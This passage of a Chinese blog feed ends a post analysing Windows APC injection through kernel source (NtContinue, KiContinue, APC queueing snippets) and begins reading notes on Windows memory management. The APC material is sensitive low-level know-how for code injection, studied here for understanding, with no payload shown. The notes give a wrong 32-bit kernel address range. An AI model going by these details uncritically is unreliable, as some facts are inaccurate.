class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br></pre></td><td class="code"><pre><span class="line">;++</span><br><span class="line">;</span><br><span class="line">; NTSTATUS</span><br><span class="line">; <span class="built_in">NtContinue</span> (</span><br><span class="line">;    IN PCONTEXT ContextRecord,</span><br><span class="line">;    IN BOOLEAN TestAlert</span><br><span class="line">;    )</span><br><span class="line">;</span><br><span class="line">; Routine Description:</span><br><span class="line">;</span><br><span class="line">;    This routine is called as a system service to <span class="keyword">continue</span> execution after</span><br><span class="line">;    an exception has occurred. Its function is to transfer information from</span><br><span class="line">;    the specified context record into the trap frame that was built when the</span><br><span class="line">;    system service was executed, <span class="keyword">and</span> then exit the system as <span class="keyword">if</span> an exception</span><br><span class="line">;    had occurred.</span><br><span class="line">;</span><br><span class="line">;   WARNING - Do <span class="keyword">not</span> call <span class="keyword">this</span> routine directly, always call it as</span><br><span class="line">;             ZwContinue!!!  This is required because it needs the</span><br><span class="line">;             trapframe built by KiSystemService.</span><br><span class="line">;</span><br><span class="line">; Arguments:</span><br><span class="line">;</span><br><span class="line">;    <span class="built_in">KTrapFrame</span> (ebp+<span class="number">0</span>: after setup) -&gt; base of KTrapFrame</span><br><span class="line">;</span><br><span class="line">;    <span class="built_in">ContextRecord</span> (ebp+<span class="number">8</span>: after setup) = Supplies a pointer to a context rec.</span><br><span class="line">;</span><br><span class="line">;    <span class="built_in">TestAlert</span> (esp+<span class="number">12</span>: after setup) = Supplies a boolean value that specifies</span><br><span class="line">;       whether alert should be tested <span class="keyword">for</span> the previous processor mode.</span><br><span class="line">;</span><br><span class="line">; Return Value:</span><br><span class="line">;</span><br><span class="line">;    Normally there is no <span class="keyword">return</span> from <span class="keyword">this</span> routine. However, <span class="keyword">if</span> the specified</span><br><span class="line">;    context record is misaligned <span class="keyword">or</span> is <span class="keyword">not</span> accessible, then the appropriate</span><br><span class="line">;    status code is returned.</span><br><span class="line">;</span><br><span class="line">;--</span><br><span class="line"></span><br><span class="line">NcTrapFrame             equ     [ebp + <span class="number">0</span>]</span><br><span class="line">NcContextRecord         equ     [ebp + <span class="number">8</span>]</span><br><span class="line">NcTestAlert             equ     [ebp + <span class="number">12</span>]</span><br><span class="line"></span><br><span class="line">align dword</span><br><span class="line">cPublicProc _NtContinue     ,<span class="number">2</span></span><br><span class="line"></span><br><span class="line">        push    ebp</span><br><span class="line"></span><br><span class="line">;</span><br><span class="line">; Restore old trap frame address since <span class="keyword">this</span> service exits directly rather</span><br><span class="line">; than returning.</span><br><span class="line">;</span><br><span class="line"></span><br><span class="line">        mov     ebx, PCR[PcPrcbData+PbCurrentThread] ; get current thread address</span><br><span class="line">        mov     edx, [ebp].TsEdx        ; restore old trap frame address</span><br><span class="line">        mov     [ebx].ThTrapFrame, edx  ;</span><br><span class="line"></span><br><span class="line">;</span><br><span class="line">; Call KiContinue to load ContextRecord into TrapFrame.  On x86 TrapFrame</span><br><span class="line">; is an atomic entity, so we don<span class="number">&#x27;</span>t need to allocate any other space here.</span><br><span class="line">;</span><br><span class="line">; <span class="built_in">KiContinue</span>(NcContextRecord, <span class="number">0</span>, NcTrapFrame)</span><br><span class="line">;</span><br><span class="line"></span><br><span class="line">        mov     ebp,esp</span><br><span class="line">        mov     eax, NcTrapFrame</span><br><span class="line">        mov     ecx, NcContextRecord</span><br><span class="line">        stdCall  _KiContinue, &lt;ecx, <span class="number">0</span>, eax&gt;</span><br><span class="line">        <span class="keyword">or</span>      eax,eax                 ; <span class="keyword">return</span> value <span class="number">0</span>?</span><br><span class="line">        jnz     <span class="type">short</span> Nc20              ; KiContinue failed, go report error</span><br><span class="line"></span><br><span class="line">;</span><br><span class="line">; Check to determine <span class="keyword">if</span> alert should be tested <span class="keyword">for</span> the previous processor mode.</span><br><span class="line">;</span><br><span class="line"></span><br><span class="line">        cmp     byte ptr NcTestAlert,<span class="number">0</span>  ; Check test alert flag</span><br><span class="line">        je      <span class="type">short</span> Nc10              ; <span class="keyword">if</span> z, don<span class="number">&#x27;</span>t test alert, go Nc10</span><br><span class="line">        mov     al,byte ptr [ebx]+ThPreviousMode ; No need to <span class="keyword">xor</span> eax, eax.</span><br><span class="line">        stdCall _KeTestAlertThread, &lt;eax&gt; ; test alert <span class="keyword">for</span> current thread</span><br><span class="line">Nc10:   pop     ebp                     ; (ebp) -&gt; TrapFrame</span><br><span class="line">        mov     esp,ebp                 ; (esp) = (ebp) -&gt; trapframe</span><br><span class="line">        jmp     _KiServiceExit2         ; common exit</span><br><span class="line"></span><br><span class="line">Nc20:   pop     ebp                     ; (ebp) -&gt; TrapFrame</span><br><span class="line">        mov     esp,ebp                 ; (esp) = (ebp) -&gt; trapframe</span><br><span class="line">        jmp     _KiServiceExit          ; <span class="function">common exit</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">stdENDP _NtContinue</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">NTSTATUS</span></span><br><span class="line"><span class="function"><span class="title">KiContinue</span> <span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PCONTEXT ContextRecord,</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PKEXCEPTION_FRAME ExceptionFrame,</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PKTRAP_FRAME TrapFrame</span></span></span><br><span class="line"><span class="params"><span class="function">    )</span></span></span><br><span class="line"><span class="function"><span class="comment">/*++</span></span></span><br><span class="line"><span class="comment"><span class="function">Routine Description:</span></span></span><br><span class="line"><span class="comment"><span class="function"></span></span></span><br><span class="line"><span class="comment"><span class="function">    This function is called to copy the specified context frame to the</span></span></span><br><span class="line"><span class="comment"><span class="function">    specified exception and trap frames for the continue system service.</span></span></span><br><span class="line"><span class="comment"><span class="function"></span></span></span><br><span class="line"><span class="comment"><span class="function">Arguments:</span></span></span><br><span class="line"><span class="comment"><span class="function">    ContextRecord - Supplies a pointer to a context record.</span></span></span><br><span class="line"><span class="comment"><span class="function">    ExceptionFrame - Supplies a pointer to an exception frame.</span></span></span><br><span class="line"><span class="comment"><span class="function">    TrapFrame - Supplies a pointer to a trap frame.</span></span></span><br><span class="line"><span class="comment"><span class="function">Return Value:</span></span></span><br><span class="line"><span class="comment"><span class="function"></span></span></span><br><span class="line"><span class="comment"><span class="function">    STATUS_ACCESS_VIOLATION is returned if the context record is not readable</span></span></span><br><span class="line"><span class="comment"><span class="function">        from user mode.</span></span></span><br><span class="line"><span class="comment"><span class="function">    STATUS_DATATYPE_MISALIGNMENT is returned if the context record is not</span></span></span><br><span class="line"><span class="comment"><span class="function">        properly aligned.</span></span></span><br><span class="line"><span class="comment"><span class="function">    STATUS_SUCCESS is returned if the context frame is copied successfully</span></span></span><br><span class="line"><span class="comment"><span class="function">        to the specified exception and trap frames.</span></span></span><br><span class="line"><span class="comment"><span class="function">--*/</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"></span><br><span class="line">    KIRQL OldIrql;</span><br><span class="line">    NTSTATUS Status;</span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// Synchronize with other context operations.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// If the current IRQL is less than APC_LEVEL, then raise IRQL to APC level.</span></span><br><span class="line">    <span class="comment">// </span></span><br><span class="line">    OldIrql = <span class="built_in">KeGetCurrentIrql</span>();</span><br><span class="line">    <span class="keyword">if</span> (OldIrql &lt; APC_LEVEL) &#123;</span><br><span class="line">        <span class="built_in">KfRaiseIrql</span>(APC_LEVEL);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// If the previous mode was not kernel mode, then use wrapper function</span></span><br><span class="line">    <span class="comment">// to copy context to kernel frames. Otherwise, copy context to kernel</span></span><br><span class="line">    <span class="comment">// frames directly.</span></span><br><span class="line">    <span class="comment">//  </span></span><br><span class="line">    Status = STATUS_SUCCESS;</span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">KeGetPreviousMode</span>() != KernelMode) &#123;<span class="comment">// 说明当前的系统调用是从用户态发生的</span></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="built_in">KiContinuePreviousModeUser</span>(ContextRecord,</span><br><span class="line">                                       ExceptionFrame,</span><br><span class="line">                                       TrapFrame);</span><br><span class="line"></span><br><span class="line">        &#125; <span class="built_in">except</span>(EXCEPTION_EXECUTE_HANDLER) &#123;</span><br><span class="line">            Status = <span class="built_in">GetExceptionCode</span>();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="built_in">KeContextToKframes</span>(TrapFrame,</span><br><span class="line">                           ExceptionFrame,</span><br><span class="line">                           ContextRecord,</span><br><span class="line">                           ContextRecord-&gt;ContextFlags,</span><br><span class="line">                           KernelMode);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// If the old IRQL was less than APC level, then lower the IRQL to its</span></span><br><span class="line">    <span class="comment">// previous value.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="keyword">if</span> (OldIrql &lt; APC_LEVEL) &#123;</span><br><span class="line">        <span class="built_in">KeLowerIrql</span>(OldIrql);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> Status;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，函数做了三件事情</p><ul><li>将当前的<code>ContextRecord</code>赋值成<code>TrapFrame</code></li><li>将当前线程置为<code>Test alertable</code>，此时线程再次进入可以执行APC的状态</li><li>调用<code>KiServiceExit2</code>，系统调用退出环节。</li></ul><p>在<code>NtContinue</code>这个函数中，首先会将之前的<code>TrapFrame</code>保存，然后调用函数<code>KiContinue</code>。这个函数会检测当前的<code>Context</code>是否是来自用户空间的，如果是的话会调用<code>KicontinuePreviuseModeUser</code>将当前的空间复制到内核态，然后调用<code>KeContextToKframes</code>将当前的<code>ContextRecord</code>赋值成<code>TrapFrame</code>，相当于是恢复了真正的调用上下文。然后会进入<code>KiServiceExit2</code></p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">;++</span><br><span class="line">;</span><br><span class="line">;   _KiServiceExit2 - same as _KiServiceExit BUT the full trap_frame</span><br><span class="line">;       context is restored</span><br><span class="line">;</span><br><span class="line">;--</span><br><span class="line">        <span class="keyword">public</span>  _KiServiceExit2</span><br><span class="line">_KiServiceExit2:</span><br><span class="line"></span><br><span class="line">        cli                             ; disable interrupts</span><br><span class="line">        DISPATCH_USER_APC   ebp</span><br><span class="line"></span><br><span class="line">;</span><br><span class="line">; Exit from SystemService</span><br><span class="line">;</span><br><span class="line"></span><br><span class="line">        EXIT_ALL                            ; RestoreAll</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这个函数本质上和<code>KiServiceExit</code>做的事情是一样的，出了最后退出System Service的时候，少了声明<code>NoRestoreSegs, NoRestoreVolatile</code>，因为此时的<code>Context</code>已经在之前的<code>NtContinue</code>中得到了赋值。同时，这个函数也会调用<code>DISPATCH_USER_APC</code>,这就意味着此时<strong>未执行的用户态APC会被继续执行，直到APC队列为空</strong>。</p><h2 id="apc调用总结">Apc调用总结</h2><h3 id="apc结构体">APC结构体</h3><p>APC分为两种：内核态APC和用户态APC<br>内核态APC也分两种：有<code>NormalRoutine</code>和没有<code>NromalRoutine</code>的<br>但是无论那种APC都包含<code>·KernelRoutine</code><br>在内存中以双向链表的形式存在，大致如下<br><img src="/2019/02/10/APC-Injection/apc00.png" alt=""><br>当前的线程中保存了一个<code>ApcState</code>和一个<code>SaveApcState</code>，分别记录了创建线程所在进程的APC请求，以及线程所挂靠的进程的APC请求</p><h3 id="apc调用流程">APC调用流程</h3><h4 id="时机">时机</h4><p>通用条件:当发生系统调用/异常处理/中断的时候 ，并且此时<strong>存在用户态APC</strong></p><p>内核态APC中的<code>NormalRoutine</code>：<code>ApcState-&gt;KernelInProcess == FALSE</code>，也即当前没有其他内核态程序执行</p><p>用户态APC整个调用时机：UserApcPending不为FALSE，即是当前有用户态APC正在挂起等待，也即是<strong>线程处于Alertable状态</strong></p><h4 id="调用顺序">调用顺序</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">内核态无NormalRoutineAPC -&gt; 内核态有NormalRoutineAPC -&gt; 用户态APC</span><br></pre></td></tr></table></figure><p>先调用<code>KernelRoutine</code>再调用<code>NormalRoutine</code></p><h3 id="调用方法">调用方法</h3><h4 id="用户态apc">用户态APC</h4><p>插入APC</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">NtQueueApcThread  = (<span class="built_in">NTSTATUS</span>(NTAPI *)(HANDLE, PVOID, PVOID, PVOID, ULONG)) <span class="built_in">GetProcAddress</span>(hNtdll, <span class="string">&quot;NtQueueApcThread&quot;</span>);</span><br><span class="line"><span class="keyword">if</span> (NtQueueApcThread == <span class="literal">NULL</span>) &#123;</span><br><span class="line">    std::cout &lt;&lt; <span class="string">&quot;Could not get NtQueueApcThread&quot;</span> &lt;&lt; std::endl;</span><br><span class="line">&#125;</span><br><span class="line">HANDLE hThread = <span class="built_in">GetCurrentThread</span>();</span><br><span class="line"><span class="built_in">NtQueueApcThread</span>(hThread, &amp;ApcTest, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br></pre></td></tr></table></figure><p>调用APC时机：等待线程变为<code>alertable</code></p><h4 id="内核态apc">内核态APC</h4><p>内核态APC只能在内核态下完成注入，所以这个时候需要借助<code>driver</code>帮我们实现，具体流程可以如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 首先获取所要注入的线程的句柄</span></span><br><span class="line">st = <span class="built_in">ObReferenceObjectByHandle</span> (ThreadHandle,</span><br><span class="line">                                THREAD_SET_CONTEXT,</span><br><span class="line">                                PsThreadType,</span><br><span class="line">                                Mode,</span><br><span class="line">                                &amp;Thread,</span><br><span class="line">                                <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="built_in">NT_SUCCESS</span> (st)) &#123;</span><br><span class="line">    st = STATUS_SUCCESS;</span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">IS_SYSTEM_THREAD</span> (Thread)) &#123;</span><br><span class="line">        st = STATUS_INVALID_HANDLE;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// 分配一个内存区域</span></span><br><span class="line">        Apc = <span class="built_in">ExAllocatePoolWithQuotaTag</span> (NonPagedPool | POOL_QUOTA_FAIL_INSTEAD_OF_RAISE,</span><br><span class="line">                                          <span class="built_in">sizeof</span>(*Apc),</span><br><span class="line">                                          <span class="string">&#x27;pasP&#x27;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (Apc == <span class="literal">NULL</span>) &#123;</span><br><span class="line">            st = STATUS_NO_MEMORY;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// 初始化一个APC对象，插入到当前线程中，此时设置PspQueueSpecialApc（内核线程）以及ApcRoutine（用户态），以及ApcArgument1（真实要调用的用户态的）</span></span><br><span class="line">            <span class="built_in">KeInitializeApc</span> (Apc,</span><br><span class="line">                             &amp;Thread-&gt;Tcb,</span><br><span class="line">                             OriginalApcEnvironment,</span><br><span class="line">                             PspQueueApcSpecialApc,</span><br><span class="line">                             <span class="literal">NULL</span>,</span><br><span class="line">                             (PKNORMAL_ROUTINE)ApcRoutine,</span><br><span class="line">                             UserMode,</span><br><span class="line">                             ApcArgument1);</span><br><span class="line">            <span class="comment">// 然后将当前的APC插入等待队列中</span></span><br><span class="line">            <span class="keyword">if</span> (!<span class="built_in">KeInsertQueueApc</span> (Apc, ApcArgument2, ApcArgument3, <span class="number">0</span>)) &#123;</span><br><span class="line">                <span class="built_in">ExFreePool</span> (Apc);</span><br><span class="line">                st = STATUS_UNSUCCESSFUL;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">ObDereferenceObject</span> (Thread);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>之后等待线程发生系统调用/中断调用/异常等会陷入到内核的过程即可。</p><h2 id="后记">后记</h2><p>这篇文章是自毕业前开始写，一直写到了毕业后。从<code>毕业前完成研究-&gt;9月份前完成研究-&gt;过年前完成研究</code>这样不停的咕咕咕，最后终于在3月份前完成了。。实在也是不容易。中途参考了各种各样的书和代码（不知道为啥我看到的<code>wrk</code>和《Windows 内核情景分析》的不太一样。。。只好硬着头皮按照我自己的思路来写了），第一次正儿八经的正向研究内核，中途放弃了好多次。后来工作了半年，中途也对Windows内核有了一定的了解，慢慢发现有些东西和这个apc调用串了起来，于是又重新捡起来看，这次终于也是看完了。<br>就目前的水平来说，可能分析的不太完整，以后更加熟悉内核，估计也会回来这边进行一定的修改（大约不会咕掉？）</p><h2 id="参考文章">参考文章</h2><p>Windows内核情景分析 5.8 Windows的APC机制<br><a href="http://www.weixianmanbu.com/article/33.html">http://www.weixianmanbu.com/article/33.html</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这个话题是一个巨大的坑。我毕业设计的时候就想实现一个APC Inject，但是发现它那个好像存在一些缺陷，而后又听说存在一种内核级别的Inject，可以解决前者的缺陷问题，但是网上资料实在是少。自从上班之后，慢慢也习惯了读源码解决问题，而且机缘巧合之下得知原来Windows有开源部分的内核代码！于是打算用这个内容好好的研究一下这个&lt;/p&gt;
&lt;h2 id=&quot;more-windows-apc&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>Windows Via C/C++ note 2</title>
    <link href="https://showlinkroom.me/2018/11/28/Windows-Via-C-C-note-2/"/>
    <id>https://showlinkroom.me/2018/11/28/Windows-Via-C-C-note-2/</id>
    <published>2018-11-28T14:34:07.000Z</published>
    <updated>2020-07-16T13:31:30.424Z</updated>
    
    <content type="html"><![CDATA[<p>好像和第一篇隔了很久，主要是因为我懒，而且一开始我纠结要按顺序看书还是按照我自己的兴趣来，最后兴趣占了上风所以就鸽了一阵子。。。今天强迫自己整理一下这些笔记的时候才想起来这个大坑。</p><h2 id="more-windows-via-c-c-note-2-内存管理"><span id="more"></span><br>Windows Via C/C++ note 2(内存管理)</h2><p>Windows 和 Linux 很多地方都相似，比如说虚拟地址的使用，内存的分页分段等等。但是相较而言，Windows 某些内存管理会相比较来说更加上层（？或者反过来，更加底层？）</p><h2 id="体系结构">体系结构</h2><h3 id="分区">分区</h3><p>Windows 上的地址空间的划分大约是这样的:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">+-------------------+-------------------------+---------------------------------------+</span><br><span class="line">|       分区        |       32 bit            |                  64 bit               |</span><br><span class="line">+-------------------+-------------------------+---------------------------------------+</span><br><span class="line">|    空指针赋值      |  0x00000000-0x0000ffff  | 0x0000000000000000-0x000000000000ffff |</span><br><span class="line">+-------------------+-------------------------+---------------------------------------+</span><br><span class="line">|     用户模式       |  0x00010000-0x7ffeffff  | 0x0000000000010000-0x000007fffffeffff |</span><br><span class="line">+-------------------+-------------------------+---------------------------------------+</span><br><span class="line">|     内核模式       |  0x7fff0000-0x7fffffff  | 0x0000080000000000-0xffffffffffffffff |</span><br><span class="line">+-------------------+-------------------------+---------------------------------------+</span><br></pre></td></tr></table></figure><p>虽然用户模式下的内存是进程可以控制的，但是进程A是不能够访问到进程B中用户模式下任意一个地址的内容。Windows 中的所有<code>.exe|.dll</code>都会载入到用户态中。</p><h4 id="可以获得更大的用户空间">可以获得更大的用户空间</h4><p>如上表，内核模式几乎占据了一半的地址空间，但是其实上用户可以通过<code>boot configuration data(BCD)</code>指令来设置当前用户的地址空间</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">BCD /set IncreaseUserVA 3072        ; 当前用户的地址空间上升到3GB</span><br></pre></td></tr></table></figure><p>不过如果这样处理之后，Windows 内核的性能就会下降，导致进程数量的创建受限，运行速度下降等等</p><h4 id="64-32的兼容：地址的最高位">64-&gt;32的兼容：地址的最高位</h4><p>因为用户模式的最高位在32bit下是0(0x7xxxxxxx)，所以有一些应用的程序会将当前指针的最高位用作标志位。当其应用访问指针的时候会检查这个标志位。所以如果64bit 的程序简单的使用了更多地址的话，就会导致这个标志位被覆盖，从而导致应用的崩溃。为了保护这一点，Windows 在链接阶段的时候提供了标志位<code>/LARGEADDRESSA WARE</code>，如果使用这个标志位，程序才会使用更高位的地址，否则程序的地址将会限制在<code>0x000000007ffeffff</code>以下。这个运行环境就被称为<code>address sandbox(地址空间沙箱)</code></p><h2 id="内存分配">内存分配</h2><p>Windows 下的内存存在的形式主要有这几种</p><ul><li>闲置 Free</li><li>私有 Private</li><li>映像 Image</li><li>已映射 Mapped</li></ul><p>在Windows 下的内存分配得到一个可以使用的内存主要分为两步:</p><ul><li>预定 Reserve</li><li>调度 Commit</li></ul><p>Reserve 得到的 Memory 暂时未提交给应用，因此是不能使用的。但同时其相当于占据了一部分的地址空间，这部分的地址空间在之后的程序运行中也不能被其他的用途占用（除非被释放了）</p><h3 id="预定地址-reserve">预定地址 Reserve</h3><p>系统创建一个进程的时候，就会赋予其一个完整的地址空间。我们需要调用函数<code>VirutalAlloc</code>来预定(Reserve)其中的区域(region)</p><p>分配地址空间的时候，系统会确保当前的起始地址正好是分配粒度(allocation granularity)的整数倍(也就是所谓的对齐)。目前来收，大部分的平台默认的分配粒度都是64KB(0x10000)，也就是说，系统会把分配的内存地址对其到这个地址上<br><em>但是对于操作系统来说不存在这个限制，也就是说操作系统为我们申请的内存空间不会被对齐。操作系统也需要申请内存空间，包括PEB，TEB还有内建的堆等等</em></p><p>预定的空间大小也是需要对齐的，预定空间大小通常是和页面大小(4KB)对齐的。如果我们申请的空间大小为10KB，那么x32/64的电脑会强制帮我们申请一个12KB大小的堆</p><p>如果程序之后不使用预定地址的时候，应通过<code>VritualFree</code>将当前的地址空间释放</p><h3 id="调拨物理存储器-commit">调拨物理存储器 Commit</h3><p>光是预定空间还是不能使用的，我们还需要向操作系统提交我们的预定地址，让操作系统为地址分配物理存储器。这个过程被称为调度(Committing)。物理存储器始终都是以页面为单位来进行调拨的。调拨的时候使用的函数也是<code>VirtualAlloc</code>。<br>当我们调拨的时候，其实我们不需要为整个预定地址空间都进行调拨，可以指定为整个区域中的第二个和第四个页面进行调度。<br><img src="/2018/11/28/Windows-Via-C-C-note-2/memory00.png" alt=""></p><p>同样，当我们不再使用物理存储器的时候，我们应该撤销调拨(decommitting)，同样也是通过<code>VirtualFree</code>来释放。</p><blockquote><p>物理存储器？<br>物理存储器包括物理内存，硬盘这类存储介质。但是具体要用哪个取决于整个映射执行的过程。</p></blockquote><h3 id="物理存储器与页交换文件">物理存储器与页交换文件</h3><p>刚刚讲了很多，不知道大家有没有这样的问题:</p><blockquote><p>都说每个进程的地址空间都有32bit那么大（对于32位而言），也就是4GB都占满了。但是计算机中有好多个进程在运行，怎么放得下呢？<br>我玩的游戏都有 30GB ，但是如果整个游戏都放到内存里的话其他的程序又怎么运行呢？</p></blockquote><p>过去内存条本身有多大，计算机可用的内存就有多大。但是现在的计算机会采取虚拟内存的技术，将磁盘中的一部分物理内存分配出来作为内存文件，这类文件就称为 <strong>页交换文件(paging file)</strong>。也就是说，当程序在访问一个地址的时候，这个地址所映射的可能不是一个内存的地址，而是一个磁盘上的数据，这个时候就会和《计算机组成原理课程》中提到的一样，会发生 <strong>缺页</strong>。当发生缺页之后，程序会尝试从内存中寻找一块空闲内存页（找不到的时候，会用一个算法选取一个），然后和页交换文件中的页进行交换。</p><p>之前提到的申请地址空间并且调拨物理存储器的时候，其实本质上 <strong>也就是从硬盘中的页交换文件分配</strong> 得到。只有在发生了缺页中断之后，才会将当前的地址空间放入内存。<br>当一个线程访问所属进程的地址空间的地址的时候，可能会有两种情况</p><ul><li>当前数据存放在内存中</li><li>当前数据未存放于内存</li></ul><p>那么整体的工作流程大致如下<br><img src="/2018/11/28/Windows-Via-C-C-note-2/memory02.png" alt=""><br>如果频繁的发生内存和页交换文件之间进行页面复制，机器就会花费大量时间在内存处理上，这个过程称为 <strong>硬盘颠簸(thrash)</strong>。如果颠簸过于严重，就会导致当前系统运行过慢。</p><h4 id="不在页交换文件的物理存储器">不在页交换文件的物理存储器</h4><blockquote><p>我们知道每一个exe或者dll都会被加载到内存中执行，那么是不是所有的exe/dll都会在加载后放入页交换文件中呢？</p></blockquote><p>系统在加载exe文件的时候，实际上并不会将其放入到页交换文件。系统会计算出要加载的exe/dll的大小，然后在进程中预定一个区域用于存放文件的代码和数据，之后会直接将 <strong>该区域与文件本身所在的物理存储器相关联</strong> ，相当于说文件本身(file image 文件映像)就被映射到了内存中。<br>这种把一个位于硬盘上的文件映像(也就是一个.exe或者.dll)用作地址空间区域对应的物理存储器时，这个文件映像就是 <strong>内存映射文件(memory mapped file)</strong>。<br>一般来说，dll/exe被载入时，系统就会预定地址区域(region)，并且把当前的文件映像映射到这个区域中。<br><em>但是其实系统提供了另一种形式，支持将数据文件映射到地址空间上，之后会介绍（类似于linux 中的map函数)</em></p><h4 id="操作：修改页交换文件">操作：修改页交换文件</h4><p>系统其实默认是会在每一个磁盘下都组织页交换文件的，但是其实我们可以手动更改其大小。<br><img src="/2018/11/28/Windows-Via-C-C-note-2/memory01.png" alt=""></p><h3 id="内存区域与映射">内存区域与映射</h3><p>之前介绍过内存的类型，这里对其进行进一步的解释:</p><blockquote><p>闲置<br>即是说当前区域中的虚拟地址没有任何后备存储器。改地址空间尚未预定（未Reserve）。</p></blockquote><blockquote><p>私有<br>区域中的虚拟地址以系统的页交换文件作为后备存储器</p></blockquote><blockquote><p>映像<br>区域中的虚拟地址在最初的时候以映像文件(.exe/.dll)作为后备存储器。但是如果发生了写入（例如数据段被写入）则发生页交换，之后会用页交换文件作为后备存储器。</p></blockquote><blockquote><p>已映射<br>区域中的虚拟地址在最初的时候以内存映射文件(数据文件)作为后备存储器。但是如果发生了写入（例如数据段被写入）则发生页交换，之后会用页交换文件作为后备存储器。</p></blockquote><p>PE文件在进行映射的时候，每个 <strong>段(section</strong> 都必须另起一页，而且起始地址必须要是系统页面大小的整数倍。<br><em>页大小目前默认是4KB</em><br><em>区分一下: 段的起始地址必须是系统页大小整数倍(4KB)，而整体区域必须是粒度的整数倍(最小64KB)</em><br>一个 **块(block)**就是一个连续的页面，同一个块里面是连续的页面，这些页面的具有相同的保护属性，而且会以 